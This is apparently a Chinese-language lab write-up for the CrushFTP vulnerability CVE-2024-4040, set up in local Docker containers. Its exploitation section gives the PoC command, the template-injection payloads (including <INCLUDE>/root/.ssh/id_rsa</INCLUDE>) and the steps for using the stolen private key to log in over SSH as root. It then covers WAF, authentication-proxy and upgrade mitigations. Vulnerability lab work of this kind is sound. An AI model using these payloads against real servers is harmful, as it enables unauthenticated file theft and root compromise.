| 字段 | 详情 |
|---|
| CVE | CVE-2024-4040 |
| 受影响软件 | CrushFTP < 10.7.1(v10 分支)/ < 11.1.0(v11 分支) |
| 漏洞类型 | 服务器端模板注入 (SSTI) → 未认证本地文件读取 |
| CVSS 评分 | 9.8 严重 |
| 影响 | 未认证攻击者可以读取服务器文件系统中的任意文件 |
CrushFTP 的 WebInterface 在 zip 命令的 path 参数中评估模板表达式时未进行清理。未认证攻击者可以获取匿名会话 cookie,然后利用这些 cookie 传递模板载荷({working_dir}、<INCLUDE>…</INCLUDE>),服务器会评估并返回这些载荷,从而允许跨主机读取任意文件。
| 组件 | 值 |
|---|---|
| 目标 | http://localhost:8080 |
| 基础 PoC CrushFTP 版本 | 10.3.0(故意存在漏洞) |
| 缓解措施 3 测试环境 | 单独容器运行 CrushFTP 11.x(已打补丁的分支) |
| SSH 端口(容器) | 2222 → 22 |
| 管理员凭据 | admin / admin |
| 容器运行时 | Docker (Compose) |
pip install requests rich
| 脚本 | 来源 | 用途 |
|---|---|---|
crushed.py | Stuub/CVE-2024-4040-SSTI-LFI-PoC | 完整的 SSTI/LFI 利用——会话窃取、任意文件读取 |
recon.py | 本仓库 | 版本检测、实时 SSTI 探测、漏洞确认 |
docker-compose up -d
等待约 10 秒让 CrushFTP 完全初始化后再运行脚本。
此处无需单独的侦察步骤,因为 crushed.py 在执行期间会自动检查是否可以利用。
python crushed.py -t http://localhost:8080 -l /root/.ssh/id_rsa
该脚本将:
/WebInterface/ 获取匿名 CrushAuth / currentAuth 会话{working_dir} 解析 CrushFTP 安装目录<INCLUDE>/root/.ssh/id_rsa</INCLUDE> 读取目标文件从输出中复制私钥块(从 -----BEGIN OPENSSH PRIVATE KEY----- 到 -----END OPENSSH PRIVATE KEY----- 之间的所有内容)。
cat > stolen_id_rsa << 'EOF'
-----BEGIN OPENSSH PRIVATE KEY-----
<paste key from output>
-----END OPENSSH PRIVATE KEY-----
EOF
chmod 600 stolen_id_rsa
ssh -i stolen_id_rsa root@localhost -p 2222 -o StrictHostKeyChecking=no
whoami
# 预期输出: root
id
# 预期输出: uid=0(root) gid=0(root) groups=0(root)
hostname
# 预期输出: <container_id>
未认证攻击者
│
▼
GET /WebInterface/ ← 获取匿名 CrushAuth + currentAuth cookie
│
▼
POST /WebInterface/function/
?command=zip
&path={hostname} ← SSTI 确认——模板被服务器评估
│
▼
POST /WebInterface/function/
?command=zip
&path={working_dir} ← 泄漏绝对安装路径
│
▼
POST /WebInterface/function/
?command=zip
&path=<INCLUDE>/root/.ssh/id_rsa</INCLUDE> ← 任意文件读取
│
▼
SSH -i stolen_id_rsa root@localhost -p 2222 ← 完整的 root shell
| 问题 | 位置 | 详情 |
|---|---|---|
| 缺少依赖 | 第 6-9 行 | 运行前需要 pip install rich |
| 脆弱的 XML 解析 | 第 86、140 行 | 在非 XML 服务器响应时崩溃;没有 ParseError 处理 |
| Token 正则过于严格 | 第 160-161 行 | CrushAuth=…; currentAuth=… 模式可能无法匹配所有 sessions.obj 格式 |
| 仅处理 HTTP 404 | 第 53 行 | Cookie 抓取仅在返回 404 时成功;其他状态码静默失败 |
WAF 充当反向代理,在流量到达 CrushFTP 之前检查传入的 HTTP/S 流量。通过使用 NGINX 与 ModSecurity,在无需修改 CrushFTP 本身的情况下,在网络边缘拦截利用 CVE-2024-4040 的恶意请求。
../、%2e%2e)使用 Mitigation 1/docker-compose.yaml:
services:
crushftp:
build: .
expose:
- "8080"
ports:
- "2222:22"
nginx:
image: nginx:latest
ports:
- "8080:80"
volumes:
- ./nginx.conf:/etc/nginx/nginx.conf
depends_on:
- crushftp
使用 Mitigation 1/nginx.conf:
worker_processes 1;
events {
worker_connections 1024;
}
http {
# 启用 ModSecurity
modsecurity on;
modsecurity_rules_file /etc/modsecurity.d/setup.conf;
upstream crushftp {
server crushftp:8080;
}
server {
listen 80;
server_name localhost;
# 将所有流量代理到 CrushFTP
location / {
proxy_pass http://crushftp;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
# 对拦截的请求返回 403
error_page 403 /403.html;
location = /403.html {
return 403 '{"error": "Request blocked by WAF"}';
}
}
}
攻击者 -> NGINX WAF (端口 80) -> 拦截恶意请求 -> 403 禁止
-> 放行正常请求 -> CrushFTP:8080
CVE-2024-4040 可在无需认证的情况下利用。在本实验室中,通过在 NGINX 层要求敏感路由在代理到 CrushFTP 之前必须包含 Authorization 标头,从而阻止匿名方式的访问。
crushed.py)依赖于未认证的访问;缺少凭据的请求将被拒绝并返回 401/WebInterface/ 和 / 的请求除非包含认证数据,否则将被拒绝services:
crushftp:
build: .
expose:
- "8080"
ports:
- "2222:22"
nginx:
image: nginx:latest
ports:
- "8080:80"
volumes:
- ./nginx.conf:/etc/nginx/nginx.conf
depends_on:
- crushftp
events {}
http {
server {
listen 80;
# 允许静态资源无需认证
location ~* \.(css|js|png|jpg|ico|gif)$ {
proxy_pass http://crushftp:8080;
proxy_set_header Host $host;
}
# 阻止未认证的 WebInterface 访问
location /WebInterface/ {
if ($http_authorization = "") {
return 401 "需要认证——匿名会话已禁用";
}
proxy_pass http://crushftp:8080;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header Authorization $http_authorization;
}
# 阻止其他一切未认证访问
location / {
if ($http_authorization = "") {
return 401 "需要认证";
}
proxy_pass http://crushftp:8080;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
}
}
}
# 确认未认证请求被 NGINX 拒绝
curl -v http://localhost:8080/WebInterface/function/?command=getUsername
# 预期输出: 401 Unauthorized
# 可选:认证后的请求应被转发
curl -v -u "admin:admin" http://localhost:8080/WebInterface/function/?command=getUsername
升级到 CrushFTP 11 是最有效且永久的修复方法。该补丁增加了对 VFS 路径解析的严格输入验证,消除了 CVE-2024-4040 的根本原因。
crushed.py)在版本 11 上不再有效更新你的 Dockerfile 以使用 CrushFTP 11:
FROM eclipse-temurin:21-jdk-jammy
WORKDIR /var/opt
RUN apt-get update -y && apt-get -y install unzip wget openssh-server
COPY CrushFTP11.zip .
RUN unzip CrushFTP11.zip
EXPOSE 21
EXPOSE 8080
EXPOSE 443
EXPOSE 22
WORKDIR /var/opt/CrushFTP11
RUN java -Xmx1024m -jar CrushFTP.jar -a "admin" "admin"
CMD service ssh start && java -Xmx1024m -jar CrushFTP.jar -d
重新构建容器:
docker-compose down --rmi all
docker-compose build --no-cache
docker-compose up -d
# 对 v11 运行利用脚本——应失败
# 注意:本仓库的脚本使用 -t/--target 参数。
python3 crushed.py -t http://localhost:8080
# 预期输出:利用程序无输出或连接错误